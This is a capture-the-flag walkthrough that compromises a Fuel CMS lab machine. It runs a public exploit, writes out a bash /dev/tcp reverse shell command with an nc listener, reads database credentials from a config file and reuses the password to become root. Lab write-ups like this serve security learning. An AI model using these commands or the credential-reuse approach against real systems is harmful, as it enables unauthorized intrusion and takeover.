Nmap

First we scan for open ports

# nmap -p- -T4 -sV -sC 10.10.11.178 -oA nmap 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-02 00:36 BST
Nmap scan report for 10.10.11.178
Host is up (0.021s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/fuel/

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.39 seconds

Website

We go to the website and it shows what looks like the default page after a fresh installation of Fuel CMS

Looking on exploit-db there is an relevant exploit. The exploit needed some slight modification to comment out the proxy section and add in the specific target IP. Executing the exploit we can see we get the prompt for a command, and we can see successfully query what user we are running as.

Now we can start a listener (nc -lvnp 6666) and get a shell back with the cmd bash -c "bash -i >& /dev/tcp/10.11.18.78/6666 0>&1". With this shell we have enough rights to get the user flag

# rlwrap nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.11.18.78] from (UNKNOWN) [10.10.145.47] 57256
bash: cannot set terminal process group (1036): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html$ ls -lah
ls -lah
total 52K
drwxrwxrwx 4 root root 4.0K Jul 26  2019 .
drwxr-xr-x 3 root root 4.0K Jul 26  2019 ..
-rw-r--r-- 1 root root  163 Jul 26  2019 .htaccess
-rwxrwxrwx 1 root root 1.4K Jul 26  2019 README.md
drwxrwxrwx 9 root root 4.0K Jul 26  2019 assets
-rwxrwxrwx 1 root root  193 Jul 26  2019 composer.json
-rwxrwxrwx 1 root root 6.4K Jul 26  2019 contributing.md
drwxrwxrwx 9 root root 4.0K Jul 26  2019 fuel
-rwxrwxrwx 1 root root  12K Jul 26  2019 index.php
-rwxrwxrwx 1 root root   30 Jul 26  2019 robots.txt
www-data@ubuntu:/var/www/html$ ls /home
ls /home
www-data
www-data@ubuntu:/var/www/html$ ls /home/www-data
ls /home/www-data
flag.txt
www-data@ubuntu:/var/www/html$ cat /home/www-data/flag.txt
cat /home/www-data/flag.txt
64****************************9b

Privilege Escalation

Looking around inside the host we find a configuration file for the database with a password

www-data@ubuntu:/var/www/html/fuel/application/config$ cat database.php
cat database.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

...
...
...

$db['default'] = array(
        'dsn'   => '',
        'hostname' => 'localhost',
        'username' => 'root',
        'password' => '******',
        'database' => 'fuel_schema',
        'dbdriver' => 'mysqli',
        'dbprefix' => '',
        'pconnect' => FALSE,
        'db_debug' => (ENVIRONMENT !== 'production'),
        'cache_on' => FALSE,
        'cachedir' => '',
        'char_set' => 'utf8',
        'dbcollat' => 'utf8_general_ci',
        'swap_pre' => '',
        'encrypt' => FALSE,
        'compress' => FALSE,
        'stricton' => FALSE,
        'failover' => array(),
        'save_queries' => TRUE
);

It turns out this password is the same as the root user, so we can simply login as them and get the flag

www-data@ubuntu:/var/www/html/fuel/application/config$ su root
su root
Password: ******

root@ubuntu:/var/www/html/fuel/application/config# cd
cd
root@ubuntu:~# ls
ls
root.txt
root@ubuntu:~# cat root.txt
cat root.txt
b9****************************2d